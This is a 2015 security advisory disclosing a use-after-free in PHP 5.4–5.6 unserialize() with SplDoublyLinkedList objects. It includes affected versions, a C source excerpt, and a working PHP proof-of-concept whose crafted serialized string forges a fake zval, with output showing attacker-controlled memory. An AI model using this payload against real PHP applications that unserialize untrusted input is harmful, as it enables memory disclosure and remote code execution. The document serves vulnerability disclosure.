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PHP 5.6 / 5.5 / 5.4 SplDoublyLinkedList Use-After-Free

Posted on 09 September 2015

#Yet Another Use After Free Vulnerability in unserialize() with
SplDoublyLinkedList

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.8.27 - Release Date: 2015.9.4

> A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
 while(*p == ':') {
 ++p;
 ALLOC_INIT_ZVAL(elem);
 if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) {
 zval_ptr_dtor(&elem);
 goto error;
 }

 spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);
 }
```

It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.

```
<?php

class obj {
 var $ryat;
 function __wakeup() {
 $this->ryat = 1;
 }
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "x00x00x00x00";
$fakezval .= "x01";
$fakezval .= "x00";
$fakezval .= "x00x00";

$inner = 'i:1234;:i:1;';
$exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
 $out = '';
 for ($i = 0; $i < 8; $i++) {
 $out .= chr($ptr & 0xff);
 $ptr >>= 8;
 }
 return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(5) {
 [0]=>
 int(1)
 [1]=>
 &int(1)
 [2]=>
 object(obj)#2 (1) {
 ["ryat"]=>
 &int(1)
 }
 [3]=>
 array(1) {
 [0]=>
 int(1122334455) <=== so we can control the memory and create fake ZVAL :)
 }
 [4]=>
 string(24) "?v?B????"
}
```

 

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